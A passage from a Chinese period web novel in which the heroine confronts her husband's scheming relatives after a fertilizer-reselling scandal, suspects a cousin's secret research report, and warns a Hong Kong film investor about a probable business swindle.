毕竟谁请托人办事不拎点烟酒? 也正因此,胡进才那么高调,时常进出芷江西餐厅。 毕竟在他的概念里,这根本都不算什么问题。 倒是周厂长批了条子的人胆大包天,从厂里拿了化肥指标后,竟然直接转手就卖给了外头排队的人,一吨化肥提价四分之一,还给了胡进“好处费”,每吨化肥分给胡进一成利润。 自己干胡进是不敢的,别人干给他分润,胡进犹豫了一下就收了。 对方要是没什么背景,又怎么敢做这种买卖?人家既然能拿到周厂长亲自批的批条,又敢做得这么明目张胆,那肯定是有所以倚仗的。 天塌下来有高个子顶着,他怕什么? 话虽如此,其实也是他守着化肥销售这么一块大肥肉,内心其实也早已不甘于吃个饭拿点好处了。 只是胡进没想到的是,天还真塌了,而且还塌得这么快。 调查组进驻几天,事情就被调查清楚了。胡进只是被关了一晚上,就七七八八的都给交代了个清楚。很快,牛大毅、胡进被撤职移交公安,收受过“好处”的几个副厂长、不清楚情况但监管失职还亲自批了条子的周厂长全都就地免职。 化肥厂一下子领导班子都快空了,据说只能紧急抽调了化工厂的副厂长过来主持工作。 至于倒卖化肥的人,如柳绵绵之前猜测的,最后被牵扯出来的,只有两个沈维鸿的高中同学,他们被抓后一口咬定,沈维鸿是被他们欺骗好心帮忙,其他一概不知。 弃车保帅嘛,也是人之常情。 毕竟把沈维鸿咬出来对他们没有半点好处,不把沈维鸿牵扯进来,凭沈维鸿的背景,没准还能在外头帮他们跑跑关系想想办法,把沈维鸿扯进来,那就是大家一起等死。 不过,沈维鸿虽然没被逮进去,但日子也并不好过,听说沈老爷子气得直接亲自拎着鞭子抽了他一顿,抽得他下不来床,最近学校里都直接请假了。 柳绵绵顿时觉得,好像挺久没见沈老爷子了,也是时候去看望一下他老人家了。 周日,柳绵绵、沈维舟和趁着休息日跑回家的沈维云一起去了军区大院,也没提前打招呼,坐着公交车拎着一网兜黄桃罐头就上门了,以至于开门的沈菲菲完全绷不住,直接就是一句:“你们是故意上门看热闹的吗?” 柳绵绵有时候觉得,自己还是挺适合当女配的,而且还是那种气人的恶毒女配。 就比如此刻,她冷脸瞥了沈菲菲一眼,擦着她的肩膀趾高气扬进了院子,还要说一句“你在说什么胡话”的样子,在沈菲菲眼里,可不就是妥妥的恶毒反派? 她似笑非笑反问沈菲菲:“怎么,你家最近是有很多热闹可看吗?大家也挺熟的,倒是也不用这么敝帚自珍,有什么热闹,说出来也让我乐呵乐呵呀?” 沈维云忍不住笑出了声。 沈菲菲气得涨红了脸:“你还说你们不是来看热闹的?” 柳绵绵一本正经胡说八道:“你这话说的,我们做小辈的,周末来看望看望老爷子,这不是理所当然的吗?我们主要是来探望老爷子,当然,你要非得拉着我们看热闹,我们可能也是盛情难却了。” 沈菲菲无语,她什么时候非得拉着他们看热闹了? “站在外面说话做什么,赶紧进来呀!”邬淑华走到门口,笑容温和看着柳绵绵他们,“菲菲嘴巴笨,不会说话,她其实是太高兴了,之前天天打电话也请不来,今天倒是突然来了,可不是让人喜出望外?” 沈菲菲嘴巴确实笨,这位便宜婶婶的嘴巴却是真的厉害。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 沈维鸿的秘密 柳绵绵其实也不是非得过来看这个热闹,只是想到原书里沈维舟死后,俞婉、沈维云相继出事,沈伯康万念俱灰,调职去了西北,而沈维鸿却得到求知巷9号院的房子、研究所的工作和本该属于沈维舟的荣誉,心里就不太得劲儿。 如果两边是兄弟情深的关系倒也罢了,可实际上方美云包括沈文山这一家子,对9号院那边,分明充满了算计和敌意。 就说现在,沈菲菲是一开门就表达了不欢迎,而邬淑华别看态度温和,话里却满满都是刺。 想想原书里就是这样一家子在沈维舟死后,吃着他们家的人血馒头,过着人人称羡的生活,柳绵绵就觉得膈应。既然她觉得膈应,闲着没事儿,她当然也要来膈应膈应这些人。 还有就是,原书里这个时间左右沈维鸿好像拿出了一份非常厉害的研究报告,还没毕业就被研究所破格录用,之后更是很快攻克了一个公认的难题,解决了华国当前军工领域的一个卡脖子难题,初出茅庐就在军工科研领域打出了名气。 柳绵绵总觉得原书描述里的沈维鸿,和她实际认识的沈维鸿,有一种明显的割裂感,反正就几次短暂的接触来看,沈维鸿实在不像那种潜心科研、能做出什么旷世成就的人。 就化肥厂这事来说,说他急功近利、利欲熏心还差不多。 这样的人,进入军工科研领域,真的能心无杂念地搞科研吗? 感觉要打一个大大的问号。 那如果是这样,原书又是怎么回事? 柳绵绵心念急转,不过嘴上也没闲着:“原来你们都是这么表达喜出望外的呀,倒是我孤陋寡闻了。听说沈维鸿最近干了件大事啊,维舟当公安的朋友都问到我们头上,我们可不就喜出望外地赶紧来打听打听?” 邬淑华表情一阵扭曲,脸上笑容再也维持不住,冷哼:“菲菲也没说错。” 还不就是听说她家维鸿被打,上门看热闹来了? 柳绵绵笑吟吟道:“看看,这不就真实多了,我们劳动人民,就喜欢一是一二是二,丁是丁卯是卯,面甜心苦,皮笑肉不笑,嘴上笑嘻嘻背后捅刀子这种,哎哟,最吓人了。” 上辈子她亲戚里面就有这种人,见她父母去世,就想笼络她,谋算她家的财产,嘴上说的不知道多好听。而柳绵绵最喜欢做的,就是当众拆穿这些人的画皮。 这下邬淑华别说笑了,脸色简直难看得不行:“你!” 她看向沈维舟:“维舟,你媳妇儿这么和长辈说话,你也不管管吗?” 沈维舟撩起眼皮看她一眼,淡淡反问:“她说面甜心苦,皮笑肉不笑,嘴上笑嘻嘻背后捅刀子吓人,有什么不对吗?” 邬淑华被问得哑口无言。 她能说什么,她难道还能说自己就是这种面甜心苦、皮笑肉不笑、嘴上笑嘻嘻背后捅刀子的人? 只能咬牙忍了,瞪了沈菲菲一眼,转身就走。 这次柳绵绵他们是吃了午饭才过来的,沈老爷子午睡刚醒,听说大孙子夫妻俩和孙女儿一起来了,匆匆洗漱了就出来了。 “今天周日,刚好维云也在家,我们就想着过来看看您。”柳绵绵笑眯眯道,“我听说沈维鸿身体不舒服,就自作主张买了几个罐头,我们村里人身体不舒服都是吃罐头的,这个最补了。” 她顿了下,表情有些犹疑:“不过邬淑华女士好像不太高兴,是不是在城里罐头拿不出手啊?” 邬淑华一口老血哽在喉咙里:“爸,我没有!” 柳绵绵认真问:“那您是因为什么不高兴,不是嫌弃罐头的话,总不会是嫌弃我们吧?” 沈文山刚进门,闻言忙说:“绵绵,你误会你婶婶了,最近家里事情多,她焦头烂额的,心情不太好,和你们没关系。” 沈老爷子蹙着眉,说:“行了,淑华你去厨房看看,切些水果过来。” 老爷子对自己的儿子和孙子要求严格,对其他人向来宽厚,尤其是邬淑华这个儿媳妇。把人支开去厨房,就已经是极为不满的表现了,邬淑华忍了又忍,这才温和说了声“好的”,转身出了客厅。 “爷爷,你看不出来吗,这个人就是幸灾乐祸,来看热闹的,她还挑拨离间,故意在你面前说妈妈的坏话。”沈菲菲站了起来。 沈老爷子怒道:“自己行得正坐得端,怕谁来幸灾乐祸看热闹?” 一句话就把沈菲菲给气得夺门而出了。 沈文山脸色难看,不过还是压着脾气哄着老爷子:“爸,这两天家里事情多,大家情绪都不好,事情都过去,您打也打了,骂也骂了,这事就算过去了行吗?” 又说:“维舟,绵绵,还有维云,菲菲的性格你们也知道,她就是脾气大,你们做哥哥姐姐的多包涵。” 他这么放低姿态,柳绵绵他们倒是没什么好说的了。 沈老爷子神色稍缓,摆摆手,问:“维鸿呢?” 沈文山看一眼沈维舟的方向,说:“他听您的话,没跟那几个不靠谱的同学再来往。他也是好心,听人家说地里等着化肥用,收成不好村里的人都没饭吃,才一时冲动想着找老周帮帮忙,哪知道他那几个同学是想趁机敛财。当然,这事也怪我,没有好好问清楚。” 顿了一下,他继续说:“维鸿是在学校里待久了,心思单纯。吃一堑长一智,有了这次的教训,他今后办事自然会更稳重。他这几天都在房间里写研究报告,他们老师很看好他,都夸他有天分。” 沈老爷子点点头,忽然说:“他那什么报告让维舟给他看看。” 沈文山脸色微变,很快说:“不用不用,他那就是学生的玩意儿,和维舟的水平还差得远。” 柳绵绵上次来就发现了,这一家子都不是省油的灯,尤其是沈文山、邬淑华夫妻俩,沈维鸿的心眼子估计就是遗传的他们。 沈文山进来以后,她一直在悄悄观察他,尤其他睁眼说瞎话替沈维鸿开脱的时候,柳绵绵简直都想给他鼓掌了,那叫一个冠冕堂皇。 正因为一直在观察沈文山,当老爷子说让沈维舟看看沈维鸿的报告时,沈文山脸上转瞬即逝的不自然,柳绵绵自然也看得清清楚楚。 结合原书里的剧情,柳绵绵直觉这个报告有问题。 原书里沈维舟死后,原本的研究资料、成果和项目都被沈维鸿接手,可现在沈维舟还好好的,甚至还正常在研究所上着班,沈维鸿自然不可能再从沈维舟手中“摘桃子”。 而且,一个住军区大院一个住求知巷,退一万步说,沈维鸿就算是想偷沈维舟的研究成果,都不可能啊? 柳绵绵想了想,笑着说:“我这罐头就是给维鸿买的,他既然身体不舒服,要不我们一起上楼看看他?” 不等沈文山拒绝,她又说:“我是乡下长大的,很多规矩都不太懂,楼上是不是外人不方便进出?” 她说着扭头看了眼沈维云,沈维云眨眨眼睛,福至心灵说:“那可不,咱们都是外人,哪里方便上楼?” 不等沈文山开口,沈老爷子先急了:“胡说,你是爷爷的孙女儿,怎么会是外人?楼上不是都给你们准备了房间吗,你们要是愿意,就住几天再回去。” 他吩咐沈文山:“带孩子们上去看看。” 沈文山犹豫了下,还是点点头:“行。” 沈文山从上楼就走得很慢,虽然走得很慢,但他脚步分外沉,咚咚咚的,非常响,走到二楼走廊上就更沉了,柳绵绵都怀疑,他这么走,楼下的天花板会不会扑簌簌地掉灰。 自从带着沈维云赶了一回大集,姑嫂俩关系就有了质的飞跃,沈维云再也不会喊柳绵绵“这个女人”,反倒嘴巴跟抹了蜜似的,大嫂大嫂叫得可欢快了。 同时,和柳绵绵的默契也提升了一个层次。 上楼以后柳绵绵把装罐头的网兜往她手里一塞,冲她使了个眼色,沈维云微微一愣后,很快反应过来,脚步轻快地就越过沈文山冲到了走廊尽头,嘭的一下,直接推开了沈维鸿的房门。 柳绵绵在走廊这头都能听见沈维鸿的惊呼。 这么一来,沈文山也不慢吞吞的了,脚步也不跟打桩似的了,三两步就追了上去。 柳绵绵用手肘撞了撞沈维舟,轻声说:“这位大叔是不是有点奇怪?” 沈维舟低头看了眼,她今天穿了件长袖的衬衫,袖子往上折了几折,露出一段肤色白皙的手臂,然后就跟小鸡啄米似的,一下一下往他腰上点,点得他一侧的身体一阵酥麻的痒。 他想躲开一点,可不知怎么的,终究还是没有,扛着那股子直往心里钻的痒意“嗯”了一声。 “快过去看看。” 柳绵绵也快步跟了上去。 沈维舟脚步顿了顿,跟了上去。 沈维鸿的房间挺大的,摆设倒是和9号院东厢房差不多,一张床,一个衣柜,一个五斗柜,靠窗一张写字台。 柳绵绵进去的时候,沈维鸿正站在写字台前收拾一叠文稿,沈维云则拎着装罐头的网兜一脸不高兴:“亏我嫂子还买了罐头来看你呢,你什么态度啊,青天白日的,你房门又没关,我推门进来怎么了?” 沈维鸿一边收拾一边说:“没怎么,我就是一下子被你吓着了,反应有点大,我跟你道歉还不行吗?” 柳绵绵注意到他收拾东西的动作有点僵硬,看样子是真的被打了一顿。 沈维云:“那我还被你吓到了呢,你道歉就嘴上说说吗,总得有点诚意吧?” 沈维鸿把文稿都塞进抽屉里,转身一脸震惊地瞪着沈维云:“你还要什么诚意?” 沈维云提了提手里的网兜:“本来这些罐头是买了送你的,现在你跟我道歉,就把这些罐头转送给我吧。” 沈维鸿:“……” 他以前怎么没看出来,这丫头是个抠门儿精。 沈维云翻了个白眼,左右看看,说:“大嫂,我看他挺精神的,没什么不舒服的样子。” 柳绵绵看了眼有意无意挡在他们面前的沈文山,说:“嗯,看上去确实没事啊,外头传的还挺严重呢,差点被打死什么。” 语气还挺惋惜。 沈文山、沈维鸿父子俩顿时产生了和邬淑华一样的感受:一口老血哽在喉咙里。 等到柳绵绵他们脚步声远去,沈文山站在门口看了眼,确认三人都已经下楼,才又沉着脸转过身,问:“那丫头看见什么了吗?” 沈维鸿迟疑了下,摇头:“应该没有。” 当时沈维云冲进来直接就把装罐头的网兜往写字台上一放,压住了几张稿纸,他忙着收稿纸,也没注意她有没有看见,不过,“就算看见一星半点的,她应该也看不懂。” 沈文山点点头:“以后小心点。” 柳绵绵他们也没留在军区大院吃饭,陪老爷子说了会儿话,就回去了。 尽管如此,老爷子也是眉开眼笑,高兴得不得了。 大孙子大孙女都和他不亲,平时不是他打电话过去,他们根本就不会过来,过来了以后也不怎么说话,冷冷淡淡吃顿饭就走了。 今天虽说没吃饭,但孩子们陪着他聊了挺久,他知道了大孙子身体有所好转,白大夫说只要慢慢调理,问题不大,也知道了大孙女高考想考医科大。 甚至大孙女还抓着网兜说自己喜欢吃罐头,要把带来的罐头拿回去。 换了别人这么说沈老爷子可能会觉得这孩子没礼貌,但说这话的是平时不怎么亲近他的、从来不会跟他撒娇的大孙女,沈老爷子就觉得,自家孩子上学那么辛苦,想吃罐头而已,吃! 不但让沈维云把罐头拎回去,还亲自去厨房搜罗了一袋子吃的让他们带回去。 回来是向卫军开车送他们的,沈维云憋了一路,一进院子就把柳绵绵拉到一边:“大嫂,你是不是想让我看看沈维鸿那厮在做什么?” 柳绵绵给她竖了个大拇指。 沈维云拽着她进了自己的房间,往写字台前一坐,唰唰唰把自己看到的写了半张纸。 “你记性不错啊!” 照沈维鸿当时的状态,应该是沈维云冲进去,他就马上开始收拾东西了,而且沈文山也几乎是前后脚就跟着进了屋子,沈维云估计也就是瞟了一两眼,现在居然还能默写出这么多。 沈维云嘻嘻一笑:“我这不是冲刺高考嘛,即时记忆力都练出来了,再过一会儿可能就得忘记了,不像我哥,那才叫过目不忘。” 所以说,不要小看任何一个高考生。 窗外传来刘婶的声音:“哦哟,怎么又把罐头拎回来了,这是你们拎出去的罐头吧?” 沈维云探头出去:“沈维鸿他配吃我嫂子买的罐头嘛!” 刘婶马上说:“不配不配,他哪里配,咱们自己吃。” 柳绵绵把沈维云写的那张纸拿出去给沈维舟。 沈维舟自从被她抢了躺椅,后面又不知从哪里弄了一张藤椅,摆在另一棵石榴树下面,和她那张躺椅遥遥相对。 他现在就靠在藤椅上,闲适地翘着二郎腿,看上去一点也不像刚从军区大院奔波回来,倒像是在这里躺了一下午了似的。 从柳绵绵手里接过纸,他略略扫了一眼,随即勾起唇角嘲讽地笑了下,说:“没事,这件事我会处理的。” 柳绵绵叉手看着他:“你这样会不会有点过河拆桥?” 沈维舟稍稍坐直了,想了想,说:“那回头他再被打,我再陪你去看热闹?” 第32章 那位先生送你的花 趁着吃饭前这段时间,柳绵绵用早就备好的材料又做了几瓶辣椒水。 沈维云捧着书本一边复习一边围观,柳绵绵估计她也没复习进去多少东西。 毕竟做辣椒水的每个步骤她都及时给予了反馈,不是惊呼“真用这些东西做的啊”,就是感叹“这看着好像不难”,要不然就是疑惑“这东西泼脸上真会难受吗”,盯着柳绵绵的时间比盯着复习资料的时间多多了。 柳绵绵最后实在忍不住,问她:“医科大的分数都不低吧,有信心吗?” 说到学习,沈维云一扬下巴,非常自信:“当然有信心,我可是我哥的妹妹,天才的妹妹,一般也不会差到哪里去。” 柳绵绵看一眼靠在藤椅上闭目养神的沈维舟,又问:“那天才少女沈维云同学,学校里同学怎么样?” 她压了压声音:“有没有讨厌的,或者喜欢的?” 沈维云“啊”了一声,反应过来以后脸就红了:“嫂子你说什么呀!” 柳绵绵正色道:“青春少艾,这不是再正常不过的事情?不过,高考也就两个月不到的事情了,等上了大学有的是时间仔细考虑这个问题对不对?” 沈维云偷瞄了眼不远处的亲哥哥,声音轻得跟蚊子叫似的:“大嫂,你也没比我大多少,怎么说话跟我们校长似的?知道的知道的,我心无旁骛,一心就想考大学当医生以后给我哥治病呢。” 柳绵绵有点感动,小姑娘性格有点娇纵,却也非常的单纯,想当医生就是为了给哥哥治病。 那种强烈的违和感又来了。 原书里沈维云是恋爱脑,在高考即将到来的时候,和同学的男生谈恋爱,还被人发现了,这件事不知怎么的,在学校里闹得沸沸扬扬,沈维云受不了压力,加上家里又接二连三的出事,她在高考前一晚从学校宿舍楼跳了下来。 可明明小姑娘一心想要考很难考的医科大,怎么会在这个节骨眼和男生谈恋爱? 而且,柳绵绵怎么看,都觉得沈维云不像是那种脑子里都是浆糊的恋爱脑。 真要从性格上看,沈菲菲感觉都比沈维云更有机会成为恋爱脑。 “那你好好加油。”柳绵绵把做好的辣椒水递给她,“平时就放书包里,万一遇上坏人,整瓶泼过去,然后马上跑,跑不了就踹他命根子,总之不要客气。记住四字口诀,快狠准跑。” 沈维云高高兴兴接过辣椒水:“行,快狠准跑。” 俩人都没发现,不远处藤椅上的沈维舟微不可见地抽了抽嘴角。 第二天又是周一,沈维舟一早就去了研究所。 他们研究所是保密单位,但又并不像有的研究所,建在偏远无人的区域,相反,研究所就建在南城市中心,挂了个南城机械研究所的牌子,外表看上去没什么特别。稍微特别一点的就是,安保比较严格,并且紧邻市公安局。 沈维舟的办公室在二楼,窗外正对着研究所楼后的一个小花园,隔着围墙是隔壁市公安局的篮球场,偶尔能看到公安干警们在球场上挥洒汗水。 办公室是四人位,相比沈维舟,其他三人年纪更大,资历也更深。眼镜片厚得跟啤酒瓶底有的一拼的是范绥,喜欢往头上抹发胶的叫邓宏,唯一的女同志是老大姐张桂华。 沈维舟一进办公室,张大姐就笑着和他打招呼:“小沈来啦,最近看你气色不错啊,都说人逢喜事精神爽,这结婚了就是不一样哈。” 邓宏扶了扶眼镜,笑道:“还真是。” 沈维舟冲他们点了下头算是打招呼,随后就拎了自己办公桌上的热水瓶去楼下打水。 等他走出去以后,范绥才从堆得山高的资料后头抬起头,皱了皱眉,不满道:“我看他明明没什么病,天天吃空饷不上班,还不就是仗着他爹和爷爷。” 张大姐和邓宏尴尬对视一眼,邓宏干笑道:“倒也不能这么说,他进研究所的时候身体就不好,是上任所长亲自把人要过来的,当时说好的,他可以不坐班的。而且,他也没有领全额工资,都是根据实际到岗天数折算的工资。” 偏偏他的研究成果并不他们这些成天坐班的人少,要是按产出算的话,其实沈维舟拿那么低的工资,还是亏的。 范绥冷冷道:“当时身体不好可以不坐班,现在身体好了也不坐班吗?三天打鱼两天晒网,能搞出什么研究来!” 就在这时,沈维舟拎着热水瓶回来了,张大姐马上岔开话题,指着窗外说:“哎哟,隔壁是不是进新人了,一群小年轻在打篮球。啧啧啧,年轻就是好呀,青春少艾,正是最好的年华。” 范绥看了沈维舟一眼,他并不在意沈维舟是否听见他说的话,甚至,如果沈维舟听见了,与他争辩,他还巴不得,正好他有一肚子的话不吐不快。 偏偏沈维舟波澜不惊,径自提着热水瓶倒了杯水,连眼神都没给他一个,范绥气愤之余又觉得自己纯粹是浪费时间,愤愤地又低下了头。 沈维舟站在位置上,侧头看了眼窗外,隔壁篮球场上果然有一群小青年正在打球,一个个都是二十啷当岁的样子,看着朝气蓬勃的。 不知怎么的,他突然就想到了昨天柳绵绵对沈维云说的话:青春少艾,这不是再正常不过的事情? 这句话之前,她问沈维云在学校里有没有讨厌的,或者是喜欢的。 青春少艾,有喜欢的人,这是再正常不过的事情。 她是这个意思吧。 沈维舟心头莫名起了几分烦躁,冷淡道:“一群毛头小子罢了。” 张桂华是真没想到沈维舟会接她的话茬,别看这办公室里有四个人,其实平时能搭着聊两句的,只有她和邓宏,其他两个人,一个永远在看资料,一个要么不出现一出现必然也沉浸在自己的工作中,像今天这样,两个人都出声接茬的,实在罕见。 就是两个人都跟吃了火药似的。 张桂华干笑:“年轻嘛,可不就是一群毛头小子。” 其实在她看来,沈维舟也并不外头那群毛头小子大多少,只是人家天赋高、业务能力强,要不是经常不来上班,其实都不会和他们坐一个办公室。 张桂华是知道的,所里当初是给他安排了独立的办公室的,只是他拒绝了,说自己也不能正常坐班,不用浪费所里的资源。 办公室里安静了下来,过了一会儿,邓宏起身跟张桂华说了声“我去实验楼”,就走了,又过了一会儿,张桂华也起身走了出去。 沈维舟翻动资料的手顿了顿,从抽屉里拿出一份报告,起身走到范绥办公桌前,把报告往他面前一扔,说:“范同志不是好奇我能搞出什么研究吗,这是我前阵子写的一份报告,你可以看看。” 范绥被他打断思绪,本来烦躁得想要骂人,只是视线扫过眼前的报告,到嘴边的脏话马上就自动消音,他表情一下子变得有些激动,看了眼报告,又抬头看了眼沈维舟:“这是还没上交的报告,你不怕我盗用你的研究成果?” 沈维舟看着他:“我有了新的思路,正在完善,这东西不重要。” 范绥一怔,神色间露出几分急切:“新的能不能……” 他想说新的报告能不能给他看一下,但马上又反应过来,还在完善的东西,怎么可能给别人看,于是又换了个说法:“等你向所里提交的时候,能不能跟我说一声?” 沈维舟点点头:“行。” 范绥马上说:“我为刚才的话向你道歉。” 如果他早知道沈维舟的研究方向是这个,而且还有了这么大的进展,沈维舟别说不坐班了,就是天天不上班他都没有意见。 只要沈维舟能攻克这个卡脖子的技术难题。 沈维舟看他一眼:“嗯。” 等到张桂华和邓宏回来的时候,办公室里依然静悄悄的,一个在低头看资料,一个在办公桌前写写画画,窗外传来篮球“嗵嗵嗵”的落地声和偶尔欢呼笑闹声。 另一边,柳绵绵提前到了西餐厅。 收银阿琳一看到她,就露出促狭暧昧的笑容,从柜台下面拿出一捧硕大的玫瑰花,递给柳绵绵:“那位李先生送你的花。” 柳绵绵满脸无奈:“你没跟他说我不收吗?” 李先生是港城来的客商,最近一直住在南城最好的酒店华侨饭店,因为嫌弃华侨饭店做的牛排不够正宗,他跑大老远到芷江西餐厅吃饭。 在西餐厅听到柳绵绵弹奏钢琴,他惊为天人,非得说柳绵绵有当明星的潜质,于是就天天给柳绵绵送花、点曲,游说她去港城“发展”。 柳绵绵都不知道,他是怎么做到在八十年代的南城天天弄这么一捧玫瑰花的。 而且她明明已经明确拒绝,并告知他自己已经结婚,不可能背井离乡去港城发展,也没有兴趣去港城。这人却跟没听见一样,依然我行我素,每天一束玫瑰花,雷打不动。 阿琳学着李生的腔调:“一束花而已啦,在港城给靓女送花,很稀松平常的啦,柳小姐不收,你们就丢掉啰。只要她知道我送过就可以了啦,华国有句老话,精诚所至金石为开,只要我够诚意,柳小姐肯定会动心的啦。她就是天生的大明星,我一眼就看出来了啦。哈哈哈哈哈……” 学着学着,阿琳忍不住笑了起来。 第33章 柳娘与书生 柳绵绵扶额,无奈道:“别笑了,这些花你拆散了,给每桌放上一支吧。” 阿琳笑道:“知道你不会要,我们早偷偷商量了,一人分一朵,其他的插到餐桌花瓶上去。多谢柳小姐让我们沾光啦!”促狭地冲柳绵绵眨眨眼。 不知道陈经理在招工时是不是精挑细选过,反正西餐厅里不管是厨师、收银还是服务员,人都挺好的,没有喜欢嚼舌根、惹是生非的人。也正因此,李生送了好些天玫瑰花,也没什么人说闲话。 当然,也可能受陈经理影响,大家思想都相对开放,毕竟陈经理也说“给靓女送花而已,很正常的啦”。 等到弹琴的时候,看到服务员田苗苗拿来了一张写满曲名的单子,柳绵绵不用猜都知道,李生今天又来用餐了。 但凡他来用餐,她就不用弹自己准备的曲目了,光光弹他点的曲目时间都未必足够。 既然人家点了,柳绵绵自然也要弹,再说,一顿饭多挣几十块钱,她有什么不乐意的? 一直到下午两点餐厅打烊休息,李生才从角落的桌子旁走过来。 李生全名李耀明,三十多的样子,长相斯文中透着几许精明,他穿了一身灰色的松垮廓型西服,里面搭了件细条纹的T恤,休闲港风,在八十年代的内地街头,时髦度甩那些烫头喇叭裤起码三条街。 他会注意到柳绵绵,除了柳绵绵长得漂亮、钢琴弹得好外,还有非常重要的一点就是,他觉得柳绵绵很会穿衣服。明明是内地随处可见的衣服款式,总是能被她搭配出一种随性、舒适的美,非常符合他的审美。 “这就是天生大明星的时尚敏锐度啦。” 李耀明是这么理解的。 柳绵绵也很无奈,李耀明虽然送玫瑰花,点歌,也找她聊天,推销港城的电影,但是他谈吐不俗,言语风趣,也从不会说什么让人膈应的话,除了过于执着,还真是让人讨厌不起来。 “柳小姐,今天还是一样漂亮啦。”李耀明站在距离钢琴三步远的地方笑着说。 会夸人,情绪价值拉满,而且还非常大度,哪怕知道她把玫瑰花分到了客人的餐桌上,也一点不生气。 柳绵绵无奈地笑了笑,起身和他一起并肩往外走:“李生,我确实没想过当明星,而且,你们港城虽然影视行业发达,但是治安环境并不好,我听说有明星被**用枪指着脑袋拍戏的,还有被骗拍风月片的,不说我不同意,就算是我婆家人也不会答应的。” 李耀明之前为了游说柳绵绵去港城,尽捡港城好的说,现在被柳绵绵这么一说,他无奈摇头,想起西餐厅的老板和经理就是港城人,有些事情他就算是想瞒也瞒不住。 “柳小姐你说的情况确实有,不过我本家是港城娱乐业大佬,你说的这种情况不会发生的啦。何况,只要成为大明星,有了自己的人脉,就算是**,也会给你面子的啦。” 柳绵绵才不信他这些鬼话,上辈子她也看过不少八卦的好嘛,大明星被逼着去拍电影的又不是没有。 拒绝的话已经说了一箩筐,柳绵绵也懒得再说,转移话题问:“李生是有什么筹拍的项目吗?” 李耀明以为她是被说动,有了兴趣,忙说:“我想拍一部鬼片,女鬼和书生的故事啦,片名就叫《柳娘与书生》,本子很好的啦,要不是我和作者是老友,这个本子到不了我手上的啦。本子还在润色,班底也还在组,柳小姐你很适合柳娘这个角色啦。你看你们都姓柳,这就是缘分嘛。” 这个世界毕竟是架空的小说世界,上辈子柳绵绵看过的很多港片,这个世界都没有。 像是八九十年代很经典的一些鬼片啊、警匪片啊,都没有,只有类似题材的片子,也很优秀,但和柳绵绵上辈子看过的那些不一样。 至于李耀明说的这部《柳娘与书生》,剧情和上辈子柳绵绵看过的某倩幽魂有些类似。并且,在原书里,这部片子后面成了现象级的爆款,是港城影史上小成本逆袭大制作的典范之一。 原书中女主江映雪得到第一桶金后,就开始做服装生意,在广市开了一家服装厂,又因为恰好招徕到一个很有实力的设计师,服装厂生意非常火爆,短短时间就挣到了上百万。 而恰好这时,她认识了一位港城的制片人,投了一笔钱给一部小成本的鬼片。 原本只是因为剧本写得缠绵悱恻挺感人她才冲动之下投了钱,哪知道这部电影上映之后一夜爆火,连带占了百分之二十投资的金额的她挣得盆满钵满。 哪怕后来成为亿万富豪,江映雪在接受采访时也会提起这个电影,坦言这是她毕生之中回报率最高的投资之一。 江映雪投资的这部电影正是《柳娘与书生》。 想到这些,柳绵绵侧头看了李耀明一眼。原书中曾提及,那位制片人是从李氏娱乐的一位旁支手中买到的本子,这位旁支和人做生意被骗,险些倾家荡产。 这么说,原书里险些倾家荡产,最后连《柳娘与书生》的本子都卖掉了的李氏旁支,看来就是李耀明? 李耀明看着一副精明相,没想到是个银样镴枪头啊! 按照原书的时间线,柳绵绵猜测李耀明现在可能还没被骗,或者是被骗不久,于是她旁敲侧击问李耀明在做什么生意。李耀明以为柳绵绵是不相信他的经济实力,有心想展示展示肌肉,于是将自己的几个生意项目一五一十向柳绵绵介绍了下。 结合原书中提及的只言片语,柳绵绵很快找到了不对劲的地方:“你是说你们从另外一个大企业手中抢到了这批货,价格还比市场价低了一成?大企业之所以失误,是因为他们内部出了问题,而恰好和你合作的朋友有这方面的消息和人脉?” 她摊了摊手,无奈道:“李生,这就跟你和我说港城遍地黄金,去了就能成为大明星一样不靠谱不是吗?” 李耀明迟疑了下:“……但是我朋友和我一起长大,我们是过命的交情。” 柳绵绵“呵呵”了声:“多少背叛都是来自过命的交情?李生,做生意这种事,需要的是理智和判断,最忌讳就是掺杂感情因素了。” 这个道理李耀明自然也明白,只不过大家都是一个圈子的,抬头不见低头见,除非对方不想在港城混了,不然真没必要在这种事情上骗他。 而且他也不是什么初出毛犊的愣头青,他也仔细调查过的。 “真要设局,肯定不是一个两个人能做到的,自然也不会害怕调查。”柳绵绵提醒说,“不过有些事情当时调查不出来,那是因为当时瞒得滴水不漏,等时过境迁,破绽才会慢慢显现出来。” 不知怎的,李耀明忽然觉得背上出了一阵冷汗。他想了想,神色变得郑重:“我会再去调查一下的,我只付了第一期的货款,后面还有两期没有付,我会慎重的。” 他正色道:“柳小姐,感谢你的提醒。” 柳绵绵笑着道:“李生,不用谢,不过下次不要再给我送玫瑰花了。你知道的,我有丈夫,而且在内地,这件事可能会给我带来麻烦。” 李耀明摇头:“柳小姐,你长得这么漂亮,钢琴弹得那么好,我真心爱慕你。美丽的花和美丽的小姐是绝配啦,不过既然你这么说,那我下次就不送了。我最近可能要回港城一趟,回来时会给你带礼物的,届时请你一定收下。” 柳绵绵笑笑,并没有回答收或不收。 如果李耀明能解决他生意上的危机,并且准备继续投资拍摄《柳娘与书生》,她不想演女鬼,但她想投一点小钱。 一本万利的机会摆在眼前,很难不心动啊! 到时候如果成了合作伙伴,收他一个小礼物倒也没关系,顶多回赠一个嘛。 两人边走边聊,不知何时已经走到了西餐厅外的巷子里,柳绵绵开口:“李生……” 她想说下次回来再聊聊《柳娘与书生》,但旁边一个熟悉的声音打断了她:“柳绵绵。” 柳绵绵转头看到站在围墙边的沈维舟时,表情非常的诧异:“你怎么在这儿?” 沈维舟一噎,随即说:“我下班路过。” 柳绵绵:“……”研究所在求知巷北面,西餐厅在求知巷南面,他下班怎么路过,也不会路过这里吧? 沈维舟看向李耀明,问:“这位是?” 柳绵绵后知后觉反应过来,如果沈维舟从刚才就一直站在门口,那他应该听见她和李耀明的谈话内容了……包括李耀明说他真心爱慕她,美丽的花和美丽的小姐是绝配,还有从港城回来时会给她带礼物。 柳绵绵早知道李耀明这人满嘴跑火车,大概是半只脚踩在娱乐圈里的缘故,什么爱慕啊爱你啊他随口就来,柳绵绵根本不当一回事。 但回头想想,这些话在其他人耳朵里……嘶,怎么感觉像是她在给沈维舟戴绿帽子呢? 她观察了下沈维舟的表情,好吧,惯常的面无表情,什么都看不出来。 或者,只是“床友”的关系,他并不在意她会不会给他戴绿帽子? 